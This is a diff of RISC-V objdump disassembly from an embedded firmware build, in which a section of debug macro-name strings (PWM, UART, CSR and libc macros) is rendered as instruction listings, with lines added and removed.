+    2a82:	6574                	flw	fa3,76(a0)
+    2a84:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    2a8a:	6f66                	flw	ft10,88(sp)
+    2a8c:	6d72                	flw	fs10,28(sp)
+    2a8e:	7461                	lui	s0,0xffff8
+    2a90:	615f 6772 5f5f      	0x5f5f6772615f
+    2a96:	2820                	fld	fs0,80(s0)
+    2a98:	6d66                	flw	fs10,88(sp)
+    2a9a:	6174                	flw	fa3,68(a0)
+    2a9c:	6772                	flw	fa4,28(sp)
+    2a9e:	2929                	jal	2eb8 <__stack_size+0x26b8>
+    2aa0:	0029                	c.nop	10
+    2aa2:	5f5f 4c53 3436      	0x34364c535f5f
+    2aa8:	3020                	fld	fs0,96(s0)
+    2aaa:	3878                	fld	fa4,240(s0)
+    2aac:	3030                	fld	fa2,96(s0)
+    2aae:	0030                	addi	a2,sp,8
+    2ab0:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    2ab4:	564d                	li	a2,-13
+    2ab6:	4e45                	li	t3,17
+    2ab8:	4f44                	lw	s1,28(a4)
+    2aba:	4952                	lw	s2,20(sp)
+    2abc:	2044                	fld	fs1,128(s0)
+    2abe:	0039                	c.nop	14
+    2ac0:	41484357          	0x41484357
+    2ac4:	5f52                	lw	t5,52(sp)
+    2ac6:	494d                	li	s2,19
+    2ac8:	004e                	c.slli	zero,0x13
+    2aca:	445f 4645 5541      	0x55414645445f
+    2ad0:	544c                	lw	a1,44(s0)
+    2ad2:	535f 554f 4352      	0x4352554f535f
+    2ad8:	0045                	c.nop	17
+    2ada:	5750                	lw	a2,44(a4)
+    2adc:	5f4d                	li	t5,-13
+    2ade:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    2ae2:	33504d43          	fmadd.d	fs10,ft0,fs5,ft6,rmm
+    2ae6:	544e4543          	0x544e4543
+    2aea:	5245                	li	tp,-15
+    2aec:	3020                	fld	fs0,96(s0)
+    2aee:	3078                	fld	fa4,224(s0)
+    2af0:	3030                	fld	fa2,96(s0)
+    2af2:	3038                	fld	fa4,96(s0)
+    2af4:	3030                	fld	fa2,96(s0)
+    2af6:	0030                	addi	a2,sp,8
+    2af8:	4955                	li	s2,21
+    2afa:	544e                	lw	s0,240(sp)
+    2afc:	465f 5341 3854      	0x38545341465f
+    2b02:	4d5f 5841 5f20      	0x5f2058414d5f
+    2b08:	555f 4e49 5f54      	0x5f544e49555f
+    2b0e:	4146                	lw	sp,80(sp)
+    2b10:	5f385453          	0x5f385453
+    2b14:	414d                	li	sp,19
+    2b16:	5f58                	lw	a4,60(a4)
+    2b18:	005f 5f5f 4343      	0x43435f5f005f
+    2b1e:	535f 5055 4f50      	0x4f505055535f
+    2b24:	5452                	lw	s0,52(sp)
+    2b26:	4e495f53          	0x4e495f53
+    2b2a:	494c                	lw	a1,20(a0)
+    2b2c:	454e                	lw	a0,208(sp)
+    2b2e:	3120                	fld	fs0,96(a0)
+    2b30:	5500                	lw	s0,40(a0)
+    2b32:	5241                	li	tp,-16
+    2b34:	5f54                	lw	a3,60(a4)
+    2b36:	5049                	c.li	zero,-14
+    2b38:	3020                	fld	fs0,96(s0)
+    2b3a:	3178                	fld	fa4,224(a0)
+    2b3c:	0034                	addi	a3,sp,8
+    2b3e:	5f46                	lw	t5,112(sp)
+    2b40:	4f544547          	fmsub.q	fa0,fs0,fs5,fs1,rmm
+    2b44:	35204e57          	0x35204e57
+    2b48:	5000                	lw	s0,32(s0)
+    2b4a:	435f4d57          	0x435f4d57
+    2b4e:	4746                	lw	a4,80(sp)
+    2b50:	435f 504d 4732      	0x4732504d435f
+    2b56:	4e41                	li	t3,16
+    2b58:	78302047          	fmsub.s	ft0,ft0,ft3,fa5,rdn
+    2b5c:	3430                	fld	fa2,104(s0)
+    2b5e:	3030                	fld	fa2,96(s0)
+    2b60:	3030                	fld	fa2,96(s0)
+    2b62:	3030                	fld	fa2,96(s0)
+    2b64:	5f00                	lw	s0,56(a4)
+    2b66:	4942                	lw	s2,16(sp)
+    2b68:	4e455f47          	fmsub.q	ft10,fa0,ft4,fs1,unknown
+    2b6c:	4944                	lw	s1,20(a0)
+    2b6e:	4e41                	li	t3,16
+    2b70:	3420                	fld	fs0,104(s0)
+    2b72:	00313233          	sltu	tp,sp,gp
+    2b76:	5450                	lw	a2,44(s0)
+    2b78:	4452                	lw	s0,20(sp)
+    2b7a:	4649                	li	a2,18
+    2b7c:	5f46                	lw	t5,112(sp)
+    2b7e:	494d                	li	s2,19
+    2b80:	204e                	fld	ft0,208(sp)
+    2b82:	2d28                	fld	fa0,88(a0)
+    2b84:	5450                	lw	a2,44(s0)
+    2b86:	4452                	lw	s0,20(sp)
+    2b88:	4649                	li	a2,18
+    2b8a:	5f46                	lw	t5,112(sp)
+    2b8c:	414d                	li	sp,19
+    2b8e:	2058                	fld	fa4,128(s0)
+    2b90:	202d                	jal	2bba <__stack_size+0x23ba>
+    2b92:	2931                	jal	2fae <__stack_size+0x27ae>
+    2b94:	5300                	lw	s0,32(a4)
+    2b96:	495f 4446 5249      	0x52494446495f
+    2b9c:	5f20                	lw	s0,120(a4)
+    2b9e:	4649                	li	a2,18
+    2ba0:	4944                	lw	s1,20(a0)
+    2ba2:	0052                	c.slli	zero,0x14
+    2ba4:	5f5f 656e 6465      	0x6465656e5f5f
+    2baa:	695f 746e 7974      	0x7974746e695f
+    2bb0:	6570                	flw	fa2,76(a0)
+    2bb2:	5f5f0073          	0x5f5f0073
+    2bb6:	4244                	lw	s1,4(a2)
+    2bb8:	5f4c                	lw	a1,60(a4)
+    2bba:	4544                	lw	s1,12(a0)
+    2bbc:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    2bc0:	5f4c                	lw	a1,60(a4)
+    2bc2:	4944                	lw	s1,20(a0)
+    2bc4:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    2bc8:	3731                	jal	2ad4 <__stack_size+0x22d4>
+    2bca:	5f00                	lw	s0,56(a4)
+    2bcc:	535f 5a49 4f45      	0x4f455a49535f
+    2bd2:	5f46                	lw	t5,112(sp)
+    2bd4:	4f4c                	lw	a1,28(a4)
+    2bd6:	474e                	lw	a4,208(sp)
+    2bd8:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    2bde:	205f 0038 5f5f      	0x5f5f0038205f
+    2be4:	6e616373          	csrrsi	t1,0x6e6,2
+    2be8:	6c66                	flw	fs8,88(sp)
+    2bea:	6b69                	lui	s6,0x1a
+    2bec:	2865                	jal	2ca4 <__stack_size+0x24a4>
+    2bee:	6d66                	flw	fs10,88(sp)
+    2bf0:	6174                	flw	fa3,68(a0)
+    2bf2:	6772                	flw	fa4,28(sp)
+    2bf4:	662c                	flw	fa1,72(a2)
+    2bf6:	7269                	lui	tp,0xffffa
+    2bf8:	61767473          	csrrci	s0,0x617,12
+    2bfc:	6172                	flw	ft2,28(sp)
+    2bfe:	6772                	flw	fa4,28(sp)
+    2c00:	2029                	jal	2c0a <__stack_size+0x240a>
+    2c02:	5f5f 7461 7274      	0x727474615f5f
+    2c08:	6269                	lui	tp,0x1a
+    2c0a:	7475                	lui	s0,0xffffd
+    2c0c:	5f65                	li	t5,-7
+    2c0e:	285f 5f28 665f      	0x665f5f28285f
+    2c14:	616d726f          	jal	tp,da22a <__stack_size+0xd9a2a>
+    2c18:	5f74                	lw	a3,124(a4)
+    2c1a:	205f 5f28 735f      	0x735f5f28205f
+    2c20:	666e6163          	bltu	t3,t1,3282 <__stack_size+0x2a82>
+    2c24:	5f5f 202c 6d66      	0x6d66202c5f5f
+    2c2a:	6174                	flw	fa3,68(a0)
+    2c2c:	6772                	flw	fa4,28(sp)
+    2c2e:	202c                	fld	fa1,64(s0)
+    2c30:	6966                	flw	fs2,88(sp)
+    2c32:	7372                	flw	ft6,60(sp)
+    2c34:	7674                	flw	fa3,108(a2)
+    2c36:	7261                	lui	tp,0xffff8
+    2c38:	7261                	lui	tp,0xffff8
+    2c3a:	29292967          	0x29292967
+    2c3e:	5300                	lw	s0,32(a4)
+    2c40:	5a49                	li	s4,-14
+    2c42:	5f45                	li	t5,-15
+    2c44:	414d                	li	sp,19
+    2c46:	0058                	addi	a4,sp,4
+    2c48:	5452                	lw	s0,52(sp)
+    2c4a:	52465f43          	fmadd.d	ft10,fa2,ft4,fa0,unknown
+    2c4e:	5145                	li	sp,-15
+    2c50:	3120                	fld	fs0,96(a0)
+    2c52:	3436                	fld	fs0,360(sp)
+    2c54:	3631                	jal	2760 <__stack_size+0x1f60>
+    2c56:	5f00                	lw	s0,56(a4)
+    2c58:	4c5f4353          	0x4c5f4353
+    2c5c:	5645                	li	a2,-15
+    2c5e:	4c45                	li	s8,17
+    2c60:	5f31                	li	t5,-20
+    2c62:	4349                	li	t1,18
+    2c64:	4341                	li	t1,16
+    2c66:	4548                	lw	a0,12(a0)
+    2c68:	535f 5a49 2045      	0x20455a49535f
+    2c6e:	3231                	jal	257a <__stack_size+0x1d7a>
+    2c70:	0035                	c.nop	13
+    2c72:	41484357          	0x41484357
+    2c76:	5f52                	lw	t5,52(sp)
+    2c78:	414d                	li	sp,19
+    2c7a:	2058                	fld	fa4,128(s0)
+    2c7c:	5f5f 4357 4148      	0x414843575f5f
+    2c82:	5f52                	lw	t5,52(sp)
+    2c84:	414d                	li	sp,19
+    2c86:	5f58                	lw	a4,60(a4)
+    2c88:	005f 5f5f 4c46      	0x4c465f5f005f
+    2c8e:	3654                	fld	fa3,168(a2)
+    2c90:	5834                	lw	a3,112(s0)
+    2c92:	4d5f 5841 315f      	0x315f58414d5f
+    2c98:	5f30                	lw	a2,120(a4)
+    2c9a:	5845                	li	a6,-15
+    2c9c:	5f50                	lw	a2,60(a4)
+    2c9e:	205f 3934 3233      	0x32333934205f
+    2ca4:	4200                	lw	s0,0(a2)
+    2ca6:	4655                	li	a2,21
+    2ca8:	205a4953          	0x205a4953
+    2cac:	3031                	jal	24b8 <__stack_size+0x1cb8>
+    2cae:	3432                	fld	fs0,296(sp)
+    2cb0:	5f00                	lw	s0,56(a4)
+    2cb2:	465f 544c 3233      	0x3233544c465f
+    2cb8:	445f 4345 4d49      	0x4d494345445f
+    2cbe:	4c41                	li	s8,16
+    2cc0:	445f 4749 5f5f      	0x5f5f4749445f
+    2cc6:	3920                	fld	fs0,112(a0)
+    2cc8:	5f00                	lw	s0,56(a4)
+    2cca:	4350                	lw	a2,4(a4)
+    2ccc:	435f 4f48 4e57      	0x4e574f48435f
+    2cd2:	525f 5345 5254      	0x52545345525f
+    2cd8:	4349                	li	t1,18
+    2cda:	4554                	lw	a3,12(a0)
+    2cdc:	2044                	fld	fs1,128(s0)
+    2cde:	0036                	c.slli	zero,0xd
+    2ce0:	5f5f 454e 4c57      	0x4c57454e5f5f
+    2ce6:	4249                	li	tp,18
+    2ce8:	4d5f 4e49 524f      	0x524f4e494d5f
+    2cee:	5f5f 3220 5f00      	0x5f0032205f5f
+    2cf4:	4552                	lw	a0,20(sp)
+    2cf6:	4e45                	li	t3,17
+    2cf8:	5f54                	lw	a3,60(a4)
+    2cfa:	424d                	li	tp,19
+    2cfc:	4f545253          	0x4f545253
+    2d00:	5f534357          	0x5f534357
+    2d04:	54415453          	0x54415453
+    2d08:	2845                	jal	2db8 <__stack_size+0x25b8>
+    2d0a:	7470                	flw	fa2,108(s0)
+    2d0c:	2972                	fld	fs2,280(sp)
+    2d0e:	2820                	fld	fs0,80(s0)
+    2d10:	7028                	flw	fa0,96(s0)
+    2d12:	7274                	flw	fa3,100(a2)
+    2d14:	2d29                	jal	332e <__stack_size+0x2b2e>
+    2d16:	5f3e                	lw	t5,236(sp)
+    2d18:	656e                	flw	fa0,216(sp)
+    2d1a:	725f2e77          	0x725f2e77
+    2d1e:	6565                	lui	a0,0x19
+    2d20:	746e                	flw	fs0,248(sp)
+    2d22:	5f2e                	lw	t5,232(sp)
+    2d24:	626d                	lui	tp,0x1b
+    2d26:	6f747273          	csrrci	tp,0x6f7,8
+    2d2a:	5f736377          	0x5f736377
+    2d2e:	74617473          	csrrci	s0,0x746,2
+    2d32:	2965                	jal	31ea <__stack_size+0x29ea>
+    2d34:	5f00                	lw	s0,56(a4)
+    2d36:	645f 7461 7461      	0x74617461645f
     2d3c:	7079                	c.lui	zero,0xffffe
     2d3e:	5f65                	li	t5,-7
-    2d40:	6174                	flw	fa3,68(a0)
-    2d42:	64695f67          	0x64695f67
-    2d46:	2978                	fld	fa4,208(a0)
-    2d48:	0020                	addi	s0,sp,8
-    2d4a:	5750                	lw	a2,44(a4)
-    2d4c:	5f4d                	li	t5,-13
-    2d4e:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    2d52:	33504d43          	fmadd.d	fs10,ft0,fs5,ft6,rmm
-    2d56:	5049                	c.li	zero,-14
-    2d58:	3020                	fld	fs0,96(s0)
-    2d5a:	3878                	fld	fa4,240(s0)
-    2d5c:	3030                	fld	fa2,96(s0)
-    2d5e:	3030                	fld	fa2,96(s0)
-    2d60:	3030                	fld	fa2,96(s0)
-    2d62:	0030                	addi	a2,sp,8
-    2d64:	535f 5f43 3756      	0x37565f43535f
-    2d6a:	4c5f 4250 4749      	0x474942504c5f
-    2d70:	4f5f 4646 4942      	0x494246464f5f
-    2d76:	35392047          	0x35392047
-    2d7a:	5f00                	lw	s0,56(a4)
-    2d7c:	545f4353          	0x545f4353
-    2d80:	5248                	lw	a0,36(a2)
-    2d82:	4145                	li	sp,17
-    2d84:	5f44                	lw	s1,60(a4)
-    2d86:	5359454b          	fnmsub.d	fa0,fs2,fs5,fa0,rmm
-    2d8a:	4d5f 5841 3320      	0x332058414d5f
-    2d90:	0038                	addi	a4,sp,8
-    2d92:	5f5f 4e49 3154      	0x31544e495f5f
-    2d98:	5f36                	lw	t5,108(sp)
-    2d9a:	414d                	li	sp,19
-    2d9c:	5f58                	lw	a4,60(a4)
-    2d9e:	205f 7830 6637      	0x66377830205f
-    2da4:	6666                	flw	fa2,88(sp)
-    2da6:	5300                	lw	s0,32(a4)
-    2da8:	455f 464e 544d      	0x544d464e455f
-    2dae:	3020                	fld	fs0,96(s0)
-    2db0:	3030                	fld	fa2,96(s0)
-    2db2:	3032                	fld	ft0,296(sp)
-    2db4:	3030                	fld	fa2,96(s0)
-    2db6:	5f00                	lw	s0,56(a4)
-    2db8:	4e55                	li	t3,21
-    2dba:	5349                	li	t1,-14
-    2dbc:	4454                	lw	a3,12(s0)
-    2dbe:	485f 205f 5f00      	0x5f00205f485f
-    2dc4:	465f 544c 4d5f      	0x4d5f544c465f
-    2dca:	4e41                	li	t3,16
-    2dcc:	5f54                	lw	a3,60(a4)
-    2dce:	4944                	lw	s1,20(a0)
-    2dd0:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    2dd4:	3432                	fld	fs0,296(sp)
-    2dd6:	4100                	lw	s0,0(a0)
-    2dd8:	4752                	lw	a4,20(sp)
-    2dda:	4d5f 5841 3620      	0x362058414d5f
-    2de0:	3535                	jal	2c0c <__stack_size+0x240c>
-    2de2:	5f003633          	0x5f003633
-    2de6:	615f 7373 7265      	0x72657373615f
-    2dec:	7374                	flw	fa3,100(a4)
-    2dee:	655f 6378 756c      	0x756c6378655f
-    2df4:	65766973          	csrrsi	s2,0x657,12
-    2df8:	2e28                	fld	fa0,88(a2)
-    2dfa:	2e2e                	fld	ft8,200(sp)
-    2dfc:	2029                	jal	2e06 <__stack_size+0x2606>
-    2dfe:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    2e04:	615f 6e6e 746f      	0x746f6e6e615f
-    2e0a:	7461                	lui	s0,0xffff8
-    2e0c:	2865                	jal	2ec4 <__stack_size+0x26c4>
-    2e0e:	7361                	lui	t1,0xffff8
-    2e10:	74726573          	csrrsi	a0,0x747,4
-    2e14:	655f 6378 756c      	0x756c6378655f
-    2e1a:	65766973          	csrrsi	s2,0x657,12
-    2e1e:	6c5f 636f 286b      	0x286b636f6c5f
-    2e24:	5f5f 4156 415f      	0x415f41565f5f
-    2e2a:	4752                	lw	a4,20(sp)
-    2e2c:	295f5f53          	0x295f5f53
-    2e30:	0029                	c.nop	10
-    2e32:	4548                	lw	a0,12(a0)
-    2e34:	4658                	lw	a4,12(a2)
-    2e36:	5649                	li	a2,-14
-    2e38:	5f45                	li	t5,-15
-    2e3a:	4c50                	lw	a2,28(s0)
-    2e3c:	5441                	li	s0,-16
-    2e3e:	4f46                	lw	t5,80(sp)
-    2e40:	4d52                	lw	s10,20(sp)
-    2e42:	485f 0020 505f      	0x505f0020485f
-    2e48:	4854                	lw	a3,20(s0)
-    2e4a:	4552                	lw	a0,20(sp)
-    2e4c:	4441                	li	s0,16
-    2e4e:	435f 4e4f 5f44      	0x5f444e4f435f
-    2e54:	4e49                	li	t3,18
-    2e56:	5449                	li	s0,-14
-    2e58:	4149                	li	sp,18
-    2e5a:	494c                	lw	a1,20(a0)
-    2e5c:	455a                	lw	a0,148(sp)
-    2e5e:	2052                	fld	ft0,272(sp)
-    2e60:	2828                	fld	fa0,80(s0)
-    2e62:	7470                	flw	fa2,108(s0)
-    2e64:	7268                	flw	fa0,100(a2)
-    2e66:	6165                	addi	sp,sp,112
-    2e68:	5f64                	lw	s1,124(a4)
-    2e6a:	646e6f63          	bltu	t3,t1,34c8 <__stack_size+0x2cc8>
-    2e6e:	745f 2029 7830      	0x78302029745f
-    2e74:	4646                	lw	a2,80(sp)
-    2e76:	4646                	lw	a2,80(sp)
-    2e78:	4646                	lw	a2,80(sp)
-    2e7a:	4646                	lw	a2,80(sp)
-    2e7c:	0029                	c.nop	10
-    2e7e:	52525343          	fmadd.d	ft6,ft4,ft5,fa0,unknown
-    2e82:	6328                	flw	fa0,64(a4)
-    2e84:	20297273          	csrrci	tp,hedeleg,18
-    2e88:	7b28                	flw	fa0,112(a4)
-    2e8a:	7520                	flw	fs0,104(a0)
-    2e8c:	736e                	flw	ft6,248(sp)
-    2e8e:	6769                	lui	a4,0x1a
-    2e90:	656e                	flw	fa0,216(sp)
-    2e92:	2064                	fld	fs1,192(s0)
-    2e94:	6f6c                	flw	fa1,92(a4)
-    2e96:	676e                	flw	fa4,216(sp)
-    2e98:	7220                	flw	fs0,96(a2)
-    2e9a:	3b64                	fld	fs1,240(a4)
-    2e9c:	6120                	flw	fs0,64(a0)
-    2e9e:	76206d73          	csrrsi	s10,0x762,0
-    2ea2:	74616c6f          	jal	s8,195e8 <__stack_size+0x18de8>
-    2ea6:	6c69                	lui	s8,0x1a
-    2ea8:	2065                	jal	2f50 <__stack_size+0x2750>
-    2eaa:	2228                	fld	fa0,64(a2)
-    2eac:	72727363          	bgeu	tp,t2,35d2 <__stack_size+0x2dd2>
-    2eb0:	2520                	fld	fs0,72(a0)
-    2eb2:	2c30                	fld	fa2,88(s0)
-    2eb4:	2220                	fld	fs0,64(a2)
-    2eb6:	2320                	fld	fs0,64(a4)
-    2eb8:	20727363          	bgeu	tp,t2,30be <__stack_size+0x28be>
-    2ebc:	203a                	fld	ft0,392(sp)
-    2ebe:	3d22                	fld	fs10,40(sp)
-    2ec0:	2272                	fld	ft4,280(sp)
-    2ec2:	7228                	flw	fa0,96(a2)
-    2ec4:	2964                	fld	fs1,208(a0)
-    2ec6:	3b29                	jal	2be0 <__stack_size+0x23e0>
-    2ec8:	7220                	flw	fs0,96(a2)
-    2eca:	3b64                	fld	fs1,240(a4)
-    2ecc:	7d20                	flw	fs0,120(a0)
-    2ece:	0029                	c.nop	10
-    2ed0:	535f 5f43 4342      	0x43425f43535f
-    2ed6:	425f 5341 5f45      	0x5f455341425f
-    2edc:	414d                	li	sp,19
-    2ede:	2058                	fld	fa4,128(s0)
-    2ee0:	3735                	jal	2e0c <__stack_size+0x260c>
-    2ee2:	4200                	lw	s0,0(a2)
-    2ee4:	5459                	li	s0,-10
-    2ee6:	5f45                	li	t5,-15
-    2ee8:	4544524f          	0x4544524f
-    2eec:	2052                	fld	ft0,272(sp)
-    2eee:	425f 5459 5f45      	0x5f455459425f
-    2ef4:	4544524f          	0x4544524f
-    2ef8:	0052                	c.slli	zero,0x14
-    2efa:	5f5f 4c46 3654      	0x36544c465f5f
-    2f00:	5f34                	lw	a3,120(a4)
-    2f02:	4148                	lw	a0,4(a0)
-    2f04:	55515f53          	0x55515f53
-    2f08:	4549                	li	a0,18
-    2f0a:	5f54                	lw	a3,60(a4)
-    2f0c:	414e                	lw	sp,208(sp)
-    2f0e:	5f4e                	lw	t5,240(sp)
-    2f10:	205f 0031 5a4d      	0x5a4d0031205f
-    2f16:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
-    2f1a:	49545257          	0x49545257
-    2f1e:	454d                	li	a0,19
-    2f20:	28504d43          	fmadd.s	fs10,ft0,ft5,ft5,rmm
-    2f24:	6176                	flw	ft2,92(sp)
-    2f26:	296c                	fld	fa1,208(a0)
-    2f28:	6120                	flw	fs0,64(a0)
-    2f2a:	76206d73          	csrrsi	s10,0x762,0
-    2f2e:	74616c6f          	jal	s8,19674 <__stack_size+0x18e74>
-    2f32:	6c69                	lui	s8,0x1a
-    2f34:	2065                	jal	2fdc <__stack_size+0x27dc>
-    2f36:	2028                	fld	fa0,64(s0)
-    2f38:	6d22                	flw	fs10,8(sp)
-    2f3a:	2076                	fld	ft0,344(sp)
-    2f3c:	3161                	jal	2bc4 <__stack_size+0x23c4>
-    2f3e:	202c                	fld	fa1,64(s0)
-    2f40:	3025                	jal	2768 <__stack_size+0x1f68>
-    2f42:	766d203b          	0x766d203b
-    2f46:	6120                	flw	fs0,64(a0)
-    2f48:	2c32                	fld	fs8,264(sp)
-    2f4a:	2520                	fld	fs0,72(a0)
-    2f4c:	3b31                	jal	2c68 <__stack_size+0x2468>
-    2f4e:	2022                	fld	ft0,8(sp)
-    2f50:	6c22                	flw	fs8,8(sp)
-    2f52:	2069                	jal	2fdc <__stack_size+0x27dc>
-    2f54:	3061                	jal	27dc <__stack_size+0x1fdc>
-    2f56:	202c                	fld	fa1,64(s0)
-    2f58:	3b36                	fld	fs6,360(sp)
-    2f5a:	2022                	fld	ft0,8(sp)
-    2f5c:	7a6d                	lui	s4,0xffffb
-    2f5e:	20656e6f          	jal	t3,59164 <__stack_size+0x58964>
-    2f62:	203a                	fld	ft0,392(sp)
-    2f64:	203a                	fld	ft0,392(sp)
-    2f66:	7222                	flw	ft4,40(sp)
-    2f68:	2822                	fld	fa6,8(sp)
-    2f6a:	7528                	flw	fa0,104(a0)
-    2f6c:	6e69                	lui	t3,0x1a
-    2f6e:	3374                	fld	fa3,224(a4)
-    2f70:	5f32                	lw	t5,44(sp)
-    2f72:	2974                	fld	fa3,208(a0)
-    2f74:	6176                	flw	ft2,92(sp)
-    2f76:	296c                	fld	fa1,208(a0)
-    2f78:	202c                	fld	fa1,64(s0)
-    2f7a:	7222                	flw	ft4,40(sp)
-    2f7c:	2822                	fld	fa6,8(sp)
-    2f7e:	7528                	flw	fa0,104(a0)
-    2f80:	6e69                	lui	t3,0x1a
-    2f82:	3374                	fld	fa3,224(a4)
-    2f84:	5f32                	lw	t5,44(sp)
-    2f86:	2974                	fld	fa3,208(a0)
-    2f88:	2828                	fld	fa0,80(s0)
-    2f8a:	6975                	lui	s2,0x1d
-    2f8c:	746e                	flw	fs0,248(sp)
-    2f8e:	3436                	fld	fs0,360(sp)
-    2f90:	745f 7629 6c61      	0x6c617629745f
-    2f96:	3e3e                	fld	ft8,488(sp)
-    2f98:	29293233          	0x29293233
-    2f9c:	3a20                	fld	fs0,112(a2)
-    2f9e:	2220                	fld	fs0,64(a2)
-    2fa0:	3061                	jal	2828 <__stack_size+0x2028>
-    2fa2:	2c22                	fld	fs8,8(sp)
-    2fa4:	2220                	fld	fs0,64(a2)
-    2fa6:	3161                	jal	2c2e <__stack_size+0x242e>
-    2fa8:	2c22                	fld	fs8,8(sp)
-    2faa:	2220                	fld	fs0,64(a2)
-    2fac:	3261                	jal	2934 <__stack_size+0x2134>
-    2fae:	2022                	fld	ft0,8(sp)
-    2fb0:	3b29                	jal	2cca <__stack_size+0x24ca>
-    2fb2:	4300                	lw	s0,0(a4)
-    2fb4:	4d5f5253          	0x4d5f5253
-    2fb8:	5048                	lw	a0,36(s0)
-    2fba:	434d                	li	t1,19
-    2fbc:	544e554f          	0x544e554f
-    2fc0:	5245                	li	tp,-15
-    2fc2:	31204833          	0x31204833
-    2fc6:	0039                	c.nop	14
-    2fc8:	5f5f 7361 6573      	0x657373615f5f
-    2fce:	7472                	flw	fs0,60(sp)
-    2fd0:	68735f73          	csrrwi	t5,0x687,6
-    2fd4:	7261                	lui	tp,0xffff8
-    2fd6:	6465                	lui	s0,0x19
-    2fd8:	2e28                	fld	fa0,88(a2)
-    2fda:	2e2e                	fld	ft8,200(sp)
-    2fdc:	2029                	jal	2fe6 <__stack_size+0x27e6>
-    2fde:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    2fe4:	615f 6e6e 746f      	0x746f6e6e615f
-    2fea:	7461                	lui	s0,0xffff8
-    2fec:	2865                	jal	30a4 <__stack_size+0x28a4>
-    2fee:	7361                	lui	t1,0xffff8
-    2ff0:	74726573          	csrrsi	a0,0x747,4
-    2ff4:	735f 6168 6572      	0x65726168735f
-    2ffa:	5f64                	lw	s1,124(a4)
-    2ffc:	6f6c                	flw	fa1,92(a4)
-    2ffe:	5f286b63          	bltu	a6,s2,35f4 <__stack_size+0x2df4>
-    3002:	565f 5f41 5241      	0x52415f41565f
-    3008:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    300c:	2929                	jal	3426 <__stack_size+0x2c26>
-    300e:	4200                	lw	s0,0(a2)
-    3010:	4e54                	lw	a3,28(a2)
-    3012:	5f30                	lw	a2,120(a4)
-    3014:	5249                	li	tp,-14
-    3016:	2051                	jal	309a <__stack_size+0x289a>
-    3018:	3631                	jal	2b24 <__stack_size+0x2324>
-    301a:	5f00                	lw	s0,56(a4)
-    301c:	5f5f 6e69 3174      	0x31746e695f5f
-    3022:	5f36                	lw	t5,108(sp)
-    3024:	5f74                	lw	a3,124(a4)
-    3026:	6564                	flw	fs1,76(a0)
-    3028:	6966                	flw	fs2,88(sp)
-    302a:	656e                	flw	fa0,216(sp)
-    302c:	2064                	fld	fs1,192(s0)
-    302e:	0031                	c.nop	12
-    3030:	5f5f 4e47 4355      	0x43554e475f5f
-    3036:	494c                	lw	a1,20(a0)
-    3038:	4d5f454b          	0x4d5f454b
-    303c:	5441                	li	s0,-16
-    303e:	5f48                	lw	a0,60(a4)
-    3040:	5542                	lw	a0,48(sp)
-    3042:	4c49                	li	s8,18
-    3044:	4954                	lw	a3,20(a0)
-    3046:	5f4e                	lw	t5,240(sp)
-    3048:	4552                	lw	a0,20(sp)
-    304a:	4f4c                	lw	a1,28(a4)
-    304c:	5350                	lw	a2,36(a4)
-    304e:	0020                	addi	s0,sp,8
-    3050:	535f 4953 455a      	0x455a4953535f
-    3056:	545f 445f 4345      	0x4345445f545f
-    305c:	414c                	lw	a1,4(a0)
-    305e:	4552                	lw	a0,20(sp)
-    3060:	2044                	fld	fs1,128(s0)
-    3062:	5f00                	lw	s0,56(a4)
-    3064:	4955                	li	s2,21
-    3066:	544e                	lw	s0,240(sp)
-    3068:	3631                	jal	2b74 <__stack_size+0x2374>
-    306a:	545f 445f 4345      	0x4345445f545f
-    3070:	414c                	lw	a1,4(a0)
-    3072:	4552                	lw	a0,20(sp)
-    3074:	2044                	fld	fs1,128(s0)
-    3076:	5f00                	lw	s0,56(a4)
-    3078:	545f4353          	0x545f4353
-    307c:	5248                	lw	a0,36(a2)
-    307e:	4145                	li	sp,17
-    3080:	5f44                	lw	s1,60(a4)
-    3082:	5250                	lw	a2,36(a2)
-    3084:	4f49                	li	t5,18
-    3086:	505f 4f52 4554      	0x45544f52505f
-    308c:	34205443          	0x34205443
-    3090:	5f5f0037          	lui	zero,0x5f5f0
-    3094:	4f4c                	lw	a1,28(a4)
-    3096:	474e                	lw	a4,208(sp)
-    3098:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    309e:	3020                	fld	fs0,96(s0)
-    30a0:	3778                	fld	fa4,232(a4)
-    30a2:	6666                	flw	fa2,88(sp)
-    30a4:	6666                	flw	fa2,88(sp)
-    30a6:	6666                	flw	fa2,88(sp)
-    30a8:	4c66                	lw	s8,88(sp)
-    30aa:	5f00                	lw	s0,56(a4)
-    30ac:	325f4353          	0x325f4353
-    30b0:	465f 524f 5f54      	0x5f54524f465f
-    30b6:	5552                	lw	a0,52(sp)
-    30b8:	204e                	fld	ft0,208(sp)
-    30ba:	3131                	jal	2cc6 <__stack_size+0x24c6>
-    30bc:	0031                	c.nop	12
-    30be:	5f5f 4e49 5f54      	0x5f544e495f5f
-    30c4:	454c                	lw	a1,12(a0)
-    30c6:	5341                	li	t1,-16
-    30c8:	3854                	fld	fa3,176(s0)
-    30ca:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    30d0:	3020                	fld	fs0,96(s0)
-    30d2:	3778                	fld	fa4,232(a4)
-    30d4:	0066                	c.slli	zero,0x19
-    30d6:	515f 4155 5f44      	0x5f444155515f
-    30dc:	4948                	lw	a0,20(a0)
-    30de:	4f574847          	fmsub.q	fa6,fa4,fs5,fs1,rmm
-    30e2:	4452                	lw	s0,20(sp)
-    30e4:	3120                	fld	fs0,96(a0)
-    30e6:	5f00                	lw	s0,56(a4)
-    30e8:	465f 544c 4d5f      	0x4d5f544c465f
-    30ee:	4e49                	li	t3,18
-    30f0:	455f 5058 5f5f      	0x5f5f5058455f
-    30f6:	2820                	fld	fs0,80(s0)
-    30f8:	312d                	jal	2d22 <__stack_size+0x2522>
-    30fa:	3532                	fld	fa0,296(sp)
